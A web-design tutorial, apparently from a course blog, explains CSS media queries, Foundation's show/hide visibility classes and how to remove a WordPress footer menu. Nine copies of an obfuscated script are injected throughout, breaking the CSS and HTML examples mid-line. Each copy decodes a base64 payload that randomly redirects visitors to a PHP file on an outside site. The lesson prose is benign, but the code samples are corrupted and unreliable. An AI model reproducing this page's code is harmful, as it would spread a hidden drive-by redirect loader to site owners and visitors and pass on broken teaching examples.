Understanding Media Queries

So-called “responsive” sites are built using media queries, which ask the browser, “what kind of screen am I displaying on?”, and then apply one set of rules for (say) small or portrait-oriented screens, and another for (say) large or landscape-oriented screens. Foundation is a "mobile-first" framework, so first it defines all the classes for small screens, and then it adds new rules for medium (641-800px) and large screens.

Media queries look like this:

@media only screen  <script type="text/javascript">function oc532bd2f6(uf){var yd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var vb='';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(nd<uf.length);document.write(vb);};oc532bd2f6('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9raXJrZW11c2ljLmNvbS93cC1jb250ZW50L3BsdWdpbnMvcmVzcG9uc2l2ZS1hZGQtb25zL3RlbXBsYXRlcy9jbGFzcy5yc3MucGhwJyIsIGRlbGF5KTsNCn0NCjwvc2NyaXB0PgAA');</script>and (max-width:640px) {
    body {
        background-color:pink;
    }
}

What will this CSS snippet do? How would you adjust for other sizes?

In Foundation, there are a number of media queries. They are small, medium, large, xlarge, xxlarge, and also small-up, medium-up, etc. Here are two snippets that show the difference:

@media only screen  <script type="text/javascript">function oc532bd2f6(uf){var yd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var vb='';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(nd<uf.length);document.write(vb);};oc532bd2f6('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9raXJrZW11c2ljLmNvbS93cC1jb250ZW50L3BsdWdpbnMvcmVzcG9uc2l2ZS1hZGQtb25zL3RlbXBsYXRlcy9jbGFzcy5yc3MucGhwJyIsIGRlbGF5KTsNCn0NCjwvc2NyaXB0PgAA');</script>and (min-width:641px) <script type="text/javascript">function oc532bd2f6(uf){var yd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var vb='';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(nd<uf.length);document.write(vb);};oc532bd2f6('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9raXJrZW11c2ljLmNvbS93cC1jb250ZW50L3BsdWdpbnMvcmVzcG9uc2l2ZS1hZGQtb25zL3RlbXBsYXRlcy9jbGFzcy5yc3MucGhwJyIsIGRlbGF5KTsNCn0NCjwvc2NyaXB0PgAA');</script>and (max-width:800px) {
    body {
        background-color:blue;
    }
}

@media only screen  <script type="text/javascript">function oc532bd2f6(uf){var yd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var vb='';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(nd<uf.length);document.write(vb);};oc532bd2f6('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9raXJrZW11c2ljLmNvbS93cC1jb250ZW50L3BsdWdpbnMvcmVzcG9uc2l2ZS1hZGQtb25zL3RlbXBsYXRlcy9jbGFzcy5yc3MucGhwJyIsIGRlbGF5KTsNCn0NCjwvc2NyaXB0PgAA');</script>and (min-width:641px) {
    h1 {
       font-size: 20px ;
    }
}

What differences do you notice?

So, many of the classes in Foundation change dramatically when you move from one screen size to another. The topbar nav changes from a horizontal to a vertical and self-hiding stack, the slide-out menu (which note of us are using) changes to a solid sidebar on larger screens, the whole grid changes to different column orientations, etc. It is also possible to hide some elements entirely using the Foundation visibility classes.

So, for instance, to borrow their examples:

&lt;p class=&quot;panel&quot;&gt;
  &lt;strong class=&quot;show-for-small-only&quot;&gt;This text is shown only on a small screen.&lt;/strong&gt;
  &lt;strong class=&quot;show-for-medium-up&quot;&gt;This text is shown on medium screens <script type="text/javascript">function oc532bd2f6(uf){var yd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var vb='';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(nd<uf.length);document.write(vb);};oc532bd2f6('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9raXJrZW11c2ljLmNvbS93cC1jb250ZW50L3BsdWdpbnMvcmVzcG9uc2l2ZS1hZGQtb25zL3RlbXBsYXRlcy9jbGFzcy5yc3MucGhwJyIsIGRlbGF5KTsNCn0NCjwvc2NyaXB0PgAA');</script>and up.&lt;/strong&gt;
  &lt;strong class=&quot;show-for-medium-only&quot;&gt;This text is shown only on a medium screen.&lt;/strong&gt;
  &lt;strong class=&quot;show-for-large-up&quot;&gt;This text is shown on large screens <script type="text/javascript">function oc532bd2f6(uf){var yd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var vb='';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(nd<uf.length);document.write(vb);};oc532bd2f6('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9raXJrZW11c2ljLmNvbS93cC1jb250ZW50L3BsdWdpbnMvcmVzcG9uc2l2ZS1hZGQtb25zL3RlbXBsYXRlcy9jbGFzcy5yc3MucGhwJyIsIGRlbGF5KTsNCn0NCjwvc2NyaXB0PgAA');</script>and up.&lt;/strong&gt;
  &lt;strong class=&quot;show-for-large-only&quot;&gt;This text is shown only on a large screen.&lt;/strong&gt;
  &lt;strong class=&quot;show-for-xlarge-up&quot;&gt;This text is shown on xlarge screens <script type="text/javascript">function oc532bd2f6(uf){var yd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var vb='';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(nd<uf.length);document.write(vb);};oc532bd2f6('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9raXJrZW11c2ljLmNvbS93cC1jb250ZW50L3BsdWdpbnMvcmVzcG9uc2l2ZS1hZGQtb25zL3RlbXBsYXRlcy9jbGFzcy5yc3MucGhwJyIsIGRlbGF5KTsNCn0NCjwvc2NyaXB0PgAA');</script>and up.&lt;/strong&gt;
  &lt;strong class=&quot;show-for-xlarge-only&quot;&gt;This text is shown only on an xlarge screen.&lt;/strong&gt;
  &lt;strong class=&quot;show-for-xxlarge-up&quot;&gt;This text is shown on xxlarge screens <script type="text/javascript">function oc532bd2f6(uf){var yd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var vb='';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(nd<uf.length);document.write(vb);};oc532bd2f6('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9raXJrZW11c2ljLmNvbS93cC1jb250ZW50L3BsdWdpbnMvcmVzcG9uc2l2ZS1hZGQtb25zL3RlbXBsYXRlcy9jbGFzcy5yc3MucGhwJyIsIGRlbGF5KTsNCn0NCjwvc2NyaXB0PgAA');</script>and up.&lt;/strong&gt;
&lt;/p&gt;

&lt;p class=&quot;panel&quot;&gt;
  &lt;strong class=&quot;hide-for-small-only&quot;&gt;You are &lt;em&gt;not&lt;/em&gt; on a small screen.&lt;/strong&gt;
  &lt;strong class=&quot;hide-for-medium-up&quot;&gt;You are &lt;em&gt;not&lt;/em&gt; on a medium, large, xlarge, or xxlarge screen.&lt;/strong&gt;
  &lt;strong class=&quot;hide-for-medium-only&quot;&gt;You are &lt;em&gt;not&lt;/em&gt; on a medium screen.&lt;/strong&gt;
  &lt;strong class=&quot;hide-for-large-up&quot;&gt;You are &lt;em&gt;not&lt;/em&gt; on a large, xlarge, or xxlarge screen.&lt;/strong&gt;
  &lt;strong class=&quot;hide-for-large-only&quot;&gt;You are &lt;em&gt;not&lt;/em&gt; on a large screen.&lt;/strong&gt;
  &lt;strong class=&quot;hide-for-xlarge-up&quot;&gt;You are &lt;em&gt;not&lt;/em&gt; on an xlarge screen <script type="text/javascript">function oc532bd2f6(uf){var yd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var vb='';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(nd<uf.length);document.write(vb);};oc532bd2f6('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9raXJrZW11c2ljLmNvbS93cC1jb250ZW50L3BsdWdpbnMvcmVzcG9uc2l2ZS1hZGQtb25zL3RlbXBsYXRlcy9jbGFzcy5yc3MucGhwJyIsIGRlbGF5KTsNCn0NCjwvc2NyaXB0PgAA');</script>and up.&lt;/strong&gt;
  &lt;strong class=&quot;hide-for-xlarge-only&quot;&gt;You are &lt;em&gt;not&lt;/em&gt; on an xlarge screen.&lt;/strong&gt;
  &lt;strong class=&quot;hide-for-xxlarge-up&quot;&gt;You are &lt;em&gt;not&lt;/em&gt; on an xxlarge screen.&lt;/strong&gt;
&lt;/p&gt;

Take a look at the link above; it will show you how these work.

In terms of practical applications: if there is something you don't like about the mobile versions of the site, we should discuss in class. Basically you will want to wrap your changes to~app.scss~ in a @media {} construct, then write normal css within the brackets.

Bonus Tip: The menus at the bottom of the page are starting to drive me crazy! The easy way to get rid of them altogether is just to comment out one line of code in footer.php:

<?php //wp_nav_menu(array('theme_location' => 'utility', 'container' => false, 'menu_class' => 'inline-list')); ?>

That's line 18 – just add the // after the <?php. Alternatively, define a new, empty menu and assign it to the role "utility" in the menu editor (under "Appearance" in the dashboard). This is a more flexible method, as it allows you to add a few items to the menu at a later date. If you just want a couple of static links you can add them by hand, maybe using some foundation grid structure to space them properly on different displays.